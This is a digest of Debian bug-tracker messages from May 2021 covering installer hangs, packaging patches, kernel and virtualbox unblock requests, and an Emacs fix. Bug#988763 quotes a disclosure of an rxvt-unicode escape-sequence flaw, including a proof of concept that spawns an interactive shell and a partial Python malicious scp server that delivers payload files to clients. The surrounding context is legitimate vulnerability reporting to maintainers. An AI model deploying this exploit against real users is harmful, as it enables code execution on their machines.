> clone this bug, reassign to both gtk+2.0 and cdebconf, and apply both
> changes.

That looks good to me, I'll do so in a moment, and deal with (re)trying
to understand everything going on with your patch before merging and
uploading.

> As for Pango, I'm afraid figuring out whether it is doing something
> wrong here is beyond my expertise. If I can characterize the maybe-bug
> in a clear enough way I can try asking upstream - but as I said
> before, upstream will be very reluctant to touch this as soon as I
> mention GTK 2, which has been on life-support for a decade and is now
> officially dead.

As mentioned before, GTK 2 has been working just fine for us… until it
no longer did. It's *very*hugely*appreciated* that you've helped us that
much this time around. We'll do the work next time, and I don't think
it's important enough to try and dive into Pango some more at this
stage, unless someone experiences similar issues with a hrm more recent
and supported toolkit version…

Thanks again, you're a lifesaver!


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#987587: libpango1.0-udeb: hangs the installer in various situations

[Simon McVittie]

On Mon, 17 May 2021 at 23:54:01 +0200, Cyril Brulebois wrote:
> Simon McVittie  (2021-05-17):
> > It looks as though the problem is that the size GTK chooses for a
> > GtkTextView (a debconf "note" or similar) is flapping between two
> > values.
> 
> Without looking into the code, one might try and keep track of results
> that have been seen, and if N/N+1 is detected, maybe just assume this
> should be N+1 and move on with other computations? But anyway, further
> down your mail you seemed to have ideas already.

It wasn't obvious to me where we'd keep track of this, or how correct
it would be to do that - cache invalidation is reputed to be one of the
hardest problems in computer science, and this would be one more thing
that needs to be invalidated on at least those occasions when the layout
has legitimately changed (but without invalidating it too often because
that would destroy the workaround).

Having reproduced the English/rescue issue and got further with the
Sinhala/install issue with the GTK MR referenced below, I think it can
also happen that the layout flaps by an amount greater than 1 pixel
(I think the most I've seen is 4px), so a special case for n/n+1 isn't
going to be enough.

One of the reasons this took me a while is that I got distracted by the
difference I was seeing being exactly 1px, which I thought might be to
do with GTK adding 1px of extra width to make sure there's space for a
cursor - but after tracing through it, it seemed like GTK is always
adding/removing that width correctly.

> > My next thing to get a try when I get a chance will be to make GTK refuse
> > to obey Pango when GTK asks Pango to stick to a width limit and Pango goes
> > outside that limit, with a g_warning().

This works: https://salsa.debian.org/gnome-team/gtk2/-/merge_requests/2

The other thing I wanted to try was to make cdebconf create the GtkTextView
in an empty state, and then populate it with text a little later (perhaps
after layout but before drawing, or perhaps drawing one frame without text
and then adding the text in the next frame, I'm not actually sure). And
that also works:
https://salsa.debian.org/installer-team/cdebconf/-/merge_requests/6

Following the rule of thumb that bad interactions between two components
should often be fixed on *both* sides, I'd be tempted to clone this bug,
reassign to both gtk+2.0 and cdebconf, and apply both changes.

As for Pango, I'm afraid figuring out whether it is doing something wrong
here is beyond my expertise. If I can characterize the maybe-bug in a clear
enough way I can try asking upstream - but as I said before, upstream will
be very reluctant to touch this as soon as I mention GTK 2, which has been
on life-support for a decade and is now officially dead.

smcv

Bug#988785: firefox-esr-l10n-sv-se should recommend hunspell-sv, not hunspell-sv-se

[Daniel Lewart]

Package: src:firefox-esr
Version: 78.10.0esr-1
Severity: normal
Tags: patch

Maintainers of Mozilla-related packages,

firefox-esr-l10n-sv-se recommends hunspell-sv-se.
However, hunspell-sv-se is a dummy transitional package
which depends on hunspell-sv.

Therefore, firefox-esr-l10n-sv-se should recommend hunspell-sv instead.

Untested patch below.

Thank you!
Daniel Lewart
Urbana, Illinois
---
diff -ru a/debian/control b/debian/control
--- a/debian/control2021-05-05 17:02:47.0 -0500
+++ b/debian/control2021-05-19 00:00:00.0 -0500
@@ -1040,7 +1040,7 @@
 Section: localization
 Depends: ${misc:Depends},
  firefox (>= ${source:Version}), firefox (<< ${source:Version}.1~)
-Recommends: hunspell-sv-se
+Recommends: hunspell-sv
 Description: Swedish (Sweden) language package for Firefox
  Firefox is a powerful, extensible web browser with support for modern
  web application technologies.
diff -ru a/debian/l10n/browser-l10n.control b/debian/l10n/browser-l10n.control
--- a/debian/l10n/browser-l10n.control  2021-05-05 17:02:47.0 -0500
+++ b/debian/l10n/browser-l10n.control  2021-05-19 00:00:00.0 -0500
@@ -487,7 +487,7 @@
 
 %define L10N_LANG sv-se
 %define L10N_LANGUAGE Swedish (Sweden)
-%define L10N_RECOMMENDS hunspell-sv-se
+%define L10N_RECOMMENDS hunspell-sv
 %define L10N_TRANSITION 1
 %include @prod...@-l10n.control.in
 
diff -ru a/debian/l10n/recommends b/debian/l10n/recommends
--- a/debian/l10n/recommends2021-05-05 17:02:47.0 -0500
+++ b/debian/l10n/recommends2021-05-19 00:00:00.0 -0500
@@ -58,7 +58,7 @@
 sl: hunspell-sl
 sq: myspell-sq
 sr: hunspell-sr
-sv-se: hunspell-sv-se
+sv-se: hunspell-sv
 te: hunspell-te
 th: hunspell-th
 uk: hunspell-uk | myspell-uk

###

Bug#988442: unblock: linux/5.10.37-1 (pre-approval checking)

[Salvatore Bonaccorso]

Control: retitle -1 unblock: linux/5.10.38-1 (pre-approval checking)

On Thu, May 13, 2021 at 09:30:29AM +0200, Salvatore Bonaccorso wrote:
> Package: release.debian.org
> Severity: normal
> User: release.debian@packages.debian.org
> Usertags: unblock
> X-Debbugs-Cc: car...@debian.org
> 
> Dear release team,
> 
> As you know we follow the respective stable series as well in a stable
> release, and usually this is then done in point releases
> (exceptionally as well via a DSA). Now I know the time for bullseye is
> tight, but I would still like to followup with a stable series import
> in unstable, but wanted to double check with you in aprticular if
> there are ny timing issues with d-i.
> 
> I would plan to upload based ideally on 5.10.37 because it will cover
> a big amount of bufixes but particularly recent CVEs which are
> important to have covered in bullseye already soon. Currently already
> covered in the imports done in git and in the packaging pending are
> CVE-2020-25670, CVE-2020-25671, CVE-2020-25672, CVE-2021-3489,
> CVE-2021-3490, CVE-2021-3491, CVE-2021-3493, CVE-2021-3501,
> CVE-2021-3506, CVE-2021-23133, CVE-2021-23134, CVE-2021-29155,
> CVE-2021-31829, but I would want do cover as well the recent
> FragAttack fixes (not yet worked on).
> 
> In the packaging itself there will be additional changes pending
> currently they are:
> 
>[ Vincent Blut ]
>* [x86] sound/soc/intel: Enable SND_SOC_INTEL_CATPT as module
>  (Closes: #986822)
>* [x86] sound/soc/intel/boards: Enable SND_SOC_INTEL_BDW_RT5650_MACH as
>  module
>* drivers/input/rmi4: Enable RMI4_F3A (Closes: #986848)
>* [armhf] drivers/gpio: Enable GPIO_MXC as module (Closes: #987019)
>* [x86] drivers/misc/mei: Enable INTEL_MEI_TXE, INTEL_MEI_HDCP as modules
>  (Closes: #987281)
> 
> All of those are for better hardware support.
> 
>[ Uwe Kleine-König ]
>* [arm64] Enable more options for NXP's i.MX8 (Closes: #985862)
> 
> Samewise.
> 
>[ Salvatore Bonaccorso ]
>* vfs: move cap_convert_nscap() call into vfs_setxattr() (CVE-2021-3493)
>* Refresh "Makefile: Do not check for libelf when building OOT module"
>* [rt] Drop "xfrm: Use sequence counter with associated spinlock"
>* Bump ABI to 7
>* Refresh "tools/include/uapi: Fix "
>* Revert "net/sctp: fix race condition in sctp_destroy_sock"
>* sctp: delay auto_asconf init until binding the first addr 
> (CVE-2021-23133)
>* net/nfc: fix use-after-free llcp_sock_bind/connect (CVE-2021-23134)
>* bpf, ringbuf: Deny reserve of buffers larger than ringbuf (CVE-2021-3489)
>* bpf: Prevent writable memory-mapping of read-only ringbuf pages
>* bpf: Fix alu32 const subreg bound tracking on bitwise operations
>  (CVE-2021-3490)
>* io_uring: truncate lengths larger than MAX_RW_COUNT on provide buffers
>  (CVE-2021-3491)
> 
> Various CVE fixes (which will though go as well partially in 5.10.37 
> directly),
> the FragAttack CVEs are not yet included.
> 
> The RT patch which can be dropped after checking with Sebastian
> Andrzej Siewior. An ABI bump included, note that the changes are quite
> massive up to 5.10.37, (5.10.37 will contain approximately 530
> upstream commits, 5.10.36 was as well with 300 a bigger one). I
> realize this might scary, but in the end this is the stragegy we
> necessarily need to follow to keep up with upstream stable releases.
> 
>[ Vagrant Cascadian ]
>* [arm64] Disable USB type-C DisplayPort in pinebook pro device-tree.
>* [arm64] Enable TYPEC_FUSB302, SND_SOC_ES8316, TYPEC and TYPEC_TCPM as
>  modules. (Closes: #987638)
> 
>[ Michal Simek ]
>* [arm64] Enable clock driver for Xilinx ZynqMP SoC
> 
> Additional support for hardware in the arm64 area.
> 
>[ Valentin Vidic ]
>* [s390x] udeb: Include standard scsi-modules containing the virtio_blk
>  module (Closes: #988005)
> 
> "Acked"/wished by KiBi, to align s390x installer support to the other
> architectures.
> 
> The current state is at https://salsa.debian.org/kernel-team/linux/-/tree/sid
> 
> Let me know what you think of it, I would in any case send the usual
> "Upload announcement" to the various involved teams before the upload
> summarizing again the changes.

For the record, this will be 5.10.38 based. I delayed on purpose given
the size which was forseen. 

If anybody has concern on the upload, please raise a flag.

Regards,
Salvatore

Bug#988784: firefox-esr-l10n-gl should not recommend transitional hunspell-gl-es

[Daniel Lewart]

Package: src:firefox-esr
Version: 78.10.0esr-1
Severity: normal
Tags: patch

Maintainers of Mozilla-related packages,

firefox-esr-l10n-gl recommends: hunspell-gl-es | hunspell-gl .
However, hunspell-gl-es is a dummy transitional package
which depends on hunspell-gl.

Therefore, firefox-esr-l10n-gl should only recommend hunspell-gl.

Untested patch below.

Thank you!
Daniel Lewart
Urbana, Illinois
---
diff -ru a/debian/control b/debian/control
--- a/debian/control2021-05-05 17:02:47.0 -0500
+++ b/debian/control2021-05-19 00:00:00.0 -0500
@@ -516,7 +516,7 @@
 Section: localization
 Depends: ${misc:Depends},
  firefox (>= ${source:Version}), firefox (<< ${source:Version}.1~)
-Recommends: hunspell-gl-es | hunspell-gl
+Recommends: hunspell-gl
 Description: Galician language package for Firefox
  Firefox is a powerful, extensible web browser with support for modern
  web application technologies.
diff -ru a/debian/l10n/browser-l10n.control b/debian/l10n/browser-l10n.control
--- a/debian/l10n/browser-l10n.control  2021-05-05 17:02:47.0 -0500
+++ b/debian/l10n/browser-l10n.control  2021-05-19 00:00:00.0 -0500
@@ -217,7 +217,7 @@
 
 %define L10N_LANG gl
 %define L10N_LANGUAGE Galician
-%define L10N_RECOMMENDS hunspell-gl-es | hunspell-gl
+%define L10N_RECOMMENDS hunspell-gl
 %define L10N_TRANSITION 1
 %include @prod...@-l10n.control.in
 
diff -ru a/debian/l10n/recommends b/debian/l10n/recommends
--- a/debian/l10n/recommends2021-05-05 17:02:47.0 -0500
+++ b/debian/l10n/recommends2021-05-19 00:00:00.0 -0500
@@ -27,7 +27,7 @@
 fr: hunspell-fr | myspell-fr | myspell-fr-gut
 ga-ie: myspell-ga
 gd: hunspell-gd | myspell-gd
-gl: hunspell-gl-es | hunspell-gl
+gl: hunspell-gl
 gu-in: hunspell-gu
 he: hunspell-he | myspell-he
 hi-in: hunspell-hi

###

Bug#988783: unblock: virtualbox-guest-additions-iso/6.1.22-1

[Michael Prokop]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package virtualbox-guest-additions-iso

[ Reason ]

It was noticed, that files (binaries, scripts,...) can't be executed
on vboxsf (used for shared folders) with newer kernels (as the one
present in bullseye), also see https://www.virtualbox.org/ticket/20232.
This issue is fixed in v6.1.22(-1), while we currently have
v6.1.18(-1) in testing/bullseye.

[ Impact ]

If the currently present virtualbox-guest-additions-iso version
stays in bullseye, then VMs using the Guest-Additions ISO from
bullseye will have broken vboxsf (AKA shared folders).

[ Tests ]

None available, but v6.1.22 was tested manually and known to be
working fine.

[ Risks ]

Quite low, given that versions between v6.1.18 and v6.1.22 are
considered maintenance releases from upstream (see
https://www.virtualbox.org/wiki/Changelog).

[ Other info ]

I am *not* the maintainer of virtualbox-guest-additions-iso, but
mailed Gianfranco Costamagna (maintainer) about this situation, and
he asked me to request an unblock. He's also in X-Debbugs-CC.

The package essentially consists only of the binary file
/usr/share/virtualbox/VBoxGuestAdditions.iso, but I attached the
debdiff anyway.

unblock virtualbox-guest-additions-iso/6.1.22-1

Thanks for consideration!

regards
-mika-

diff -Nru virtualbox-guest-additions-iso-6.1.18/debian/changelog 
virtualbox-guest-additions-iso-6.1.22/debian/changelog
--- virtualbox-guest-additions-iso-6.1.18/debian/changelog  2021-01-20 
13:38:27.0 +0100
+++ virtualbox-guest-additions-iso-6.1.22/debian/changelog  2021-05-11 
10:24:50.0 +0200
@@ -1,3 +1,16 @@
+virtualbox-guest-additions-iso (6.1.22-1) unstable; urgency=medium
+
+  * New upstream version 6.1.22
+
+ -- Gianfranco Costamagna   Tue, 11 May 2021 
10:24:50 +0200
+
+virtualbox-guest-additions-iso (6.1.20-1) unstable; urgency=medium
+
+  * New upstream version 6.1.20
+  * Add R^3: no
+
+ -- Gianfranco Costamagna   Tue, 20 Apr 2021 
20:34:57 +0200
+
 virtualbox-guest-additions-iso (6.1.18-1) unstable; urgency=medium
 
   * New upstream version 6.1.18
diff -Nru virtualbox-guest-additions-iso-6.1.18/debian/control 
virtualbox-guest-additions-iso-6.1.22/debian/control
--- virtualbox-guest-additions-iso-6.1.18/debian/control2020-02-21 
09:26:15.0 +0100
+++ virtualbox-guest-additions-iso-6.1.22/debian/control2021-04-20 
20:34:49.0 +0200
@@ -6,6 +6,7 @@
Gianfranco Costamagna 
 Build-Depends: debhelper-compat (= 12)
 Standards-Version: 4.5.0
+Rules-Requires-Root: no
 Homepage: https://www.virtualbox.org
 Vcs-Browser: 
https://salsa.debian.org/pkg-virtualbox-team/virtualbox-guest-additions-iso
 Vcs-Git: 
https://salsa.debian.org/pkg-virtualbox-team/virtualbox-guest-additions-iso.git
Binary files 
/tmp/yxfPybKrn_/virtualbox-guest-additions-iso-6.1.18/VBoxGuestAdditions_6.1.18.iso
 and 
/tmp/dDvdhzOjCW/virtualbox-guest-additions-iso-6.1.22/VBoxGuestAdditions_6.1.18.iso
 differ
Binary files 
/tmp/yxfPybKrn_/virtualbox-guest-additions-iso-6.1.18/VBoxGuestAdditions_6.1.22.iso
 and 
/tmp/dDvdhzOjCW/virtualbox-guest-additions-iso-6.1.22/VBoxGuestAdditions_6.1.22.iso
 differ


signature.asc
Description: Digital signature

Bug#986527: sagemath: FTBFS: /<>/sage/src/bin/sage: line 549: exec: cython: not found

[Tobias Hansen]

Hi,

On 5/18/21 8:25 PM, Jochen Sprickerhof wrote:
>
> I think there are a number of problems:
> - Tests not being executed due to the open file limit ("Killing test" in   
> the log). If you want to use the tests as an indicator if the build   works, 
> you should make sure the all tests are executed, otherwise 200   tolerated 
> failures is arbitrary.


I have been struggling with this for quite a while and I don't know how to fix 
it. It comes and goes and does not seem to affect vanilla upstream builds. This 
has impacted progress on the package since one cannot properly work on it when 
the test suite crashes. I tried asking upstream for help here and provided more 
details:

https://groups.google.com/g/sage-packaging/c/1G_3JiIcbvY


> - I found a number of segfaults in the tests, like:
>   sage -t --long --random-seed=0 src/sage/interfaces/singular.py  # Killed 
> due to segmentation fault
> - Looking at the amd64 log of the buildd:
>   Error: 202 tests failed, up to 200 failures are tolerated
>   Yes: 202 tests failed, up to 400 failures are tolerated for rerun
>   Success: 192 tests failed, up to 200 failures are tolerated
>   does that mean we ran the test twice and it passed the second time   cause 
> there where 10 failures less? Can we be sure that this always   succeeds? 192 
> is really close to 200.
> - I still see cython: not found in the logs, so there are definitely   tests 
> broken due to that. Maybe it makes sense to define tests which   are allowed 
> to break and other which should succeed?


I agree, segfaults and the cython issue should be fixed. The number of failed 
tests always grows with time when dependencies change and sagemath is not 
adapted accordingly.

Best,

Tobias

Bug#988489: ddcutil: Kernel 5.10 changes require ddcutil 1.1

[Joris]

Hi,

After some digging, I think we should position it to grave. I was unable to
find a scenario with ddcutil working in linux 5.10 but my test setups are
limited.
The version number jumps may feel significant, but the changes (
http://www.ddcutil.com/release_notes/ +
http://www.ddcutil.com/prior_announcements/) appear to be limited (yet
critical!) and "inside" the binary (heuristics) - but I'm not suited to
properly judge that.
There are no reverse dependencies, so that really limits the risk of
updating I think.

Kind regards,

Op za 15 mei 2021 om 17:35 schreef Andrey Rahmatullin :

> On Sat, May 15, 2021 at 10:36:23AM -0400, Sanford Rockowitz wrote:
> > ddcutil 1.1.0 was uploaded to mentors on 4/22.  Per the sponsor (Andrey
> > Rahmatulin) it was not moved to sid because of the freeze for Bullseye.
> If the package doesn't work with the bullseye kernel it's a grave bug, not
> important, and the package should be fixed (or removed).
> Ti be eligible for bullseye the update should be a minimal patch added to
> the bullseye version.
> What do you think?
>
>
> > On 5/14/21 1:10 AM, Joris wrote:
> > > Package: ddcutil
> > > Version: 0.9.9-2
> > > Severity: important
> > > Tags: upstream
> > > X-Debbugs-Cc: jo...@v5.be
> > >
> > >
> > >
> > >
> > > -- System Information:
> > > Debian Release: bullseye/sid
> > >APT prefers testing-security
> > >APT policy: (500, 'testing-security'), (500, 'testing')
> > > Architecture: amd64 (x86_64)
> > >
> > > Kernel: Linux 5.10.0-6-amd64 (SMP w/8 CPU threads)
> > > Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
> > > Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8),
> LANGUAGE=en_GB:en
> > > Shell: /bin/sh linked to /usr/bin/dash
> > > Init: systemd (via /run/systemd/system)
> > > LSM: AppArmor: enabled
> > >
> > > Versions of packages ddcutil depends on:
> > > ii  i2c-tools 4.2-1+b1
> > > ii  libc6 2.31-11
> > > ii  libdrm2   2.4.104-1
> > > ii  libglib2.0-0  2.66.8-1
> > > ii  libudev1  247.3-5
> > > ii  libx11-6  2:1.7.0-2
> > > ii  libxrandr22:1.5.1-1
> > > ii  pci.ids   0.0~2021.02.08-1
> > > ii  usb.ids   2021.03.31-1
> > > ii  usbutils  1:013-3
> > >
> > > ddcutil recommends no packages.
> > >
> > > ddcutil suggests no packages.
> > >
> > > -- no debconf information
> > >
> > >
> > > >From the release information on ddcutil (
> http://www.ddcutil.com/release_notes/) it seems Linux kernel 5.10 made
> changes. They are listed as "docking stations" but in my experience also
> apply to directly connected HDMI and Thunderbolt displays.
> > > Ddcutil 1.0.1 and 1.1.0 include workarounds for this kernel. On my
> system bringing back the same capabilities I had under kernel 5.8, whereas
> with ddcutil 0.9.9 on kernel 5.10 there was simply no device detected.
> > >
> > > As 5.10 seems to be the default in the upcoming Debian release, it
> would be very nice to get ddcutil updated as well.
> > > I had no issue building ddcutil from source.
> > >
> >
> >
>
> --
> WBR, wRAR
>

Bug#988782: ITP: libchemistry-ring-perl -- Represent a ring as a substructure of a molecule

[Andrius Merkys]

Package: wnpp
Owner: Andrius Merkys 
Severity: wishlist

* Package name: libchemistry-ring-perl
  Version : 0.20
  Upstream Author : Ivan Tubert-Brohman 
* URL : https://metacpan.org/release/Chemistry-Ring
* License : Artistic
  Programming Lang: Perl
  Description : Represent a ring as a substructure of a molecule
 Chemistry::Ring provides some basic methods for representing a ring. A ring
 is a subclass of molecule, because it has atoms and bonds. Besides that, it
 has some useful geometric methods for finding the centroid and the ring
 plane, and methods for aromaticity detection.
 .
 This module does not detect the rings by itself; for that, look at
 Chemistry::Ring::Find.

Chemistry::Ring is a dependency for a couple of Chemistry::File::* modules.

Remark: This package is to be maintained with Debian Perl Group at

https://salsa.debian.org/perl-team/modules/packages/libchemistry-ring-perl

Bug#988781: hurfbuzz: please package harfbuzz-subset

[Mattia Rizzolo]

Source: harfbuzz
Version: 2.7.4-1
Severity: wishlist

Dear maintainer,

I'm packaging the latest scribus 1.5.7, and they have added an
(optional) dependency on harfbuzz-subset.

+# OpenType subsetting support
+pkg_check_modules(HARFBUZZ_SUBSET harfbuzz-subset>=2.4.0)
+if (HARFBUZZ_SUBSET_FOUND)
+   message("Harfbuzz subset library Found OK")
+   set (HAVE_HARFBUZZ_SUBSET ON)
+endif()


Looking, it seems that you are explicitly not packaging it:
override_dh_install:
dh_install --exclude=subset


Could you please consider including it in the Debian packaging?

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
More about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#720096: marked as pending in rsyslog

[Michael Biebl]

Am 19.05.2021 um 15:55 schrieb Harald Dunkel:

We go in circles here.

651236c2319eb0ca13fd1d376eaf239a6dcd5c49 has been introduced as a
workaround, because logrotate/rsyslog was losing SIGHUPs in the
previous configuration. This special configuration introduced
with 651236c2319eb0ca13fd1d376eaf239a6dcd5c49 is something I cannot
use on some of my hosts, i.e. the workaround is not sufficient.


The fix is not to use multiple postrotates, which is what the package is 
now doing and I thus consider this issue fixed as far as the Debian 
package is concerned. I see this as the only way to avoid the race 
condition. If you revert this change, then obviously you'll see the 
problem again.


If you have a special / custom configuration anyway, then you can also 
apply a local workaround for this I would argue.


I see the following options:
- You apply a local workaround on systems where you need to ship a 
custom configuration with multiple postrotates
- You work with the logrotate maintainer to provide a global postrotate 
option
- You convince rsyslog upstream to provide a synchronous interface to 
request log rotation (signals are by nature asynchronous).


All of those options are out of scope of the Debian rsyslog package.




OpenPGP_signature
Description: OpenPGP digital signature

Bug#988764: cups-browsed: apparmor blocks access to /usr/share/{cups/,}/locale

[Mike Gabriel]

Package: cups-browsed
Version: 1.28.7-1
Severity: normal
Tags: patch

With CUPS on buster and bullseye I see these messages in /var/log/syslog:

May 19 12:26:12 server03 kernel: [4563725.605605] audit: type=1400  
audit(1621419972.056:193): apparmor="DENIED" operation="open"  
profile="/usr/sbin/cups-browsed" name="/usr/share/cups/locale/"  
pid=17771 comm="cups-browsed" requested_mask="r" denied_mask="r"  
fsuid=0 ouid=0
May 19 12:26:12 server03 kernel: [4563725.606138] audit: type=1400  
audit(1621419972.056:194): apparmor="DENIED" operation="open"  
profile="/usr/sbin/cups-browsed" name="/usr/share/locale/" pid=17771  
comm="cups-browsed" requested_mask="r" denied_mask="r" fsuid=0 ouid=0

May 19 12:27:08 server03 systemd[1]: cups-browsed.service: Succeeded.


These error messages / folder access blocks can be amended by this  
change in /etc/apparmor.d/usr.sbin.cups-browsed:


```
diff --git a/apparmor.d/usr.sbin.cups-browsed  
b/apparmor.d/usr.sbin.cups-browsed

index 4cf9301..cb78f2d 100644
--- a/apparmor.d/usr.sbin.cups-browsed
+++ b/apparmor.d/usr.sbin.cups-browsed
@@ -10,6 +10,8 @@
   /etc/cups/cups-browsed.conf r,
   /etc/cups/lpoptions r,
   /etc/cups/ppd/* r,
+  /usr/share/cups/locale/ r,
+  /usr/share/locale/ r,
   /{var/,}run/cups/certs/* r,
   /var/cache/cups/* rw,
   /var/log/cups/* rw,
```

Greets,
Mike
--

DAS-NETZWERKTEAM
c\o Technik- und Ökologiezentrum Eckernförde
Mike Gabriel, Marienthaler Str. 17, 24340 Eckernförde
mobile: +49 (1520) 1976 148
landline: +49 (4351) 850 8940

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpnRvveMFGDJ.pgp
Description: Digitale PGP-Signatur

Bug#988652: logrotate: kern.log,syslog and other files in /var/log not rotating

[UN-pi]

Thanks for the killall-warning.

I tried the different commands in the terminal.

 systemctl kill -s HUP  rsyslog.service

2 lines with HUP-notice are shown in syslog.

 systemctl kill -s HUP --kill-who=main rsyslog.service

2 lines with HUP-notice are shown in syslog.

     pkill -HUP rsyslogd

4 lines with HUP-notice are shown in syslog.

There is 1 main process and 3 childs.

Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q

[Paul Szabo]

Package: rxvt-unicode
Version: 9.22-6
Severity: grave
Tags: security upstream
Justification: user security hole

Dear Maintainer,

Please see message on Full-Disclosure mailing list:
  https://seclists.org/fulldisclosure/2021/May/33
(quoted below, for completeness).

Please fix.

Thanks, Paul

Paul Szabo   p...@maths.usyd.edu.au   www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics   University of SydneyAustralia


Quoting messasge:

From: def 
To: 
Date: Sun, 16 May 2021 15:32:48 +0300
Subject: [FD] (u)rxvt terminal (+bash) remoteish code execution 0day

#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day)
# Version: rxvt 2.7.10, rxvt-unicode 9.22
# Author: def 
# Date: 2021-05-16
# CVE: N/A
#
#--
# (U)RXVT VULNERABILITY
#
# In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ)
# queries the availability of graphics and the response is received from stdin.
# However, rxvt responds to the query with a newline-terminated message, which
# is retarded and exposes goatse-wide gaping security holes in many popular CLI
# programs when executed inside an rxvt terminal window.
#
# [def@arch ~]$ printf '\eGQ'
# ^[G0
# [def@arch ~]$ 0
# bash: 0: command not found
#
# The latter command (i.e., 0) executes automatically without user interaction.
# The contents of the second command can be somewhat controlled by chaining the
# printf message with other escape sequences. In particular, a VT52 mode escape
# sequence \eZ prepends a letter Z and triggers bash's tab completion, allowing
# the construction of relative paths and, therefore, code execution in the form
# of running (planted) files from subdirectories in the current directory.
#
# URXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT ---
#
# % mkdir -p ZZZ && echo 'uname -a; id; date; sh -i' >ZZZ/0 && chmod +x ZZZ/0
# % urxvt -e bash
#
# [def@arch ~]$ printf '\e[?2l\eZ\e<\eGQ'
# ^[/Z^[G0
# [def@arch ~]$ ZZZ/0
# Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux
# uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm)
# Sun Apr 18 04:25:22 AM EEST 2021
# sh-5.1$
#
# FIX -
#
# Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
#
# st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or
# otherwise handle untrusted data from questionable sources.
#
#--

import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)

"""
This script implements a scp server that exploits insecure ANSI escape sequence
handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy
into the current directory leads to code execution. For example:


$ scp -r -P user@localhost:/backup/or/whatever/ .

The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/Z0 to the client
and executes one of them (the executed payload depends on the rxvt version).
"""

bind = ('localhost', )
payload = '#!/bin/sh\nuname -a; id; date; sh -i\n'

class ScpExploitServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()

def get_allowed_auths(self, username):
return "password"

def check_auth_none(self, username):
logging.info('Authenticating as %s', username)
return paramiko.AUTH_SUCCESSFUL

def check_auth_password(self, username, password):
logging.info('Authenticating with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL

def check_channel_request(self, kind, chanid):
logging.info('Opening %s channel %d', kind, chanid)
if kind != "session":
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
return paramiko.OPEN_SUCCEEDED

def check_channel_exec_request(self, channel, command):
chanid, command = channel.get_id(), command.decode('ascii')
logging.info('Approving channel %d exec request: %s', chanid, command)
parts = command.split()
assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts
threading.Thread(target=self.exploit, args=[channel]).start()
return True

def exploit(self, channel):
def wait(): assert channel.recv(4096) == b'\x00'
def send(): channel.sendall(b'\x00')
fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', 'Z0'
wait()

# (1) Create subdirectory './ZZZ/'
logging.info('Enter "%s/" (channel %d)', fdir, channel.get_id())
command = 'D0755 0 {}\n'.format(fdir).encode('ascii')
channel.sendall(command)
wait()

# (2) Save the payload as './ZZZ/0', './ZZZ/1' and './ZZZ/Z0'
logging.info('Send file "%s" (channel %d)', fname0, 

Bug#988581: bug#48476: Bug#988581: emacs-gtk: Emacs hangs with 100% cpu if started within a current directory that has a name ending with ".tar"

[Michael Albinus]

Michael Albinus  writes:

Hi,

>> Michael, this is emacs signalling an error for a recursive load,
>> apparently forever.
>
> Ahh, thanks. This gives me some ideas for check.

The appended patch should fix it. It is towards the emacs-27
branch. Although there won't be a Tramp 27.3 in the future, Debian (and
other distributions) might patch its distributed Emacs 27.2.

>> Robert

Best regards, Michael.

diff --git a/lisp/net/tramp-archive.el b/lisp/net/tramp-archive.el
index e690687413..a8a1851abb 100644
--- a/lisp/net/tramp-archive.el
+++ b/lisp/net/tramp-archive.el
@@ -343,8 +343,12 @@ tramp-archive-file-name-handler
 	  (tramp-archive-run-real-handler operation args)))

 ;;;###autoload
-(defalias
-  'tramp-archive-autoload-file-name-handler #'tramp-autoload-file-name-handler)
+(progn (defun tramp-archive-autoload-file-name-handler (operation  args)
+  "Load Tramp archive file name handler, and perform OPERATION."
+  (if tramp-archive-enabled
+  (let ((tramp-archive-autoload t))
+tramp-archive-autoload ; Silence byte compiler.
+(apply #'tramp-autoload-file-name-handler operation args)

 ;;;###autoload
 (progn (defun tramp-register-archive-file-name-handler ()
diff --git a/lisp/net/tramp.el b/lisp/net/tramp.el
index 570294e8b9..a81dbaaf69 100644
--- a/lisp/net/tramp.el
+++ b/lisp/net/tramp.el
@@ -2444,6 +2444,8 @@ tramp-completion-file-name-handler
   (tramp-unload-file-name-handlers)
   (if tramp-mode
   (let ((default-directory temporary-file-directory))
+(if (bound-and-true-p tramp-archive-autoload)
+	(load "tramp-archive" 'noerror 'nomessage))
 	(load "tramp" 'noerror 'nomessage)))
   (apply operation args)))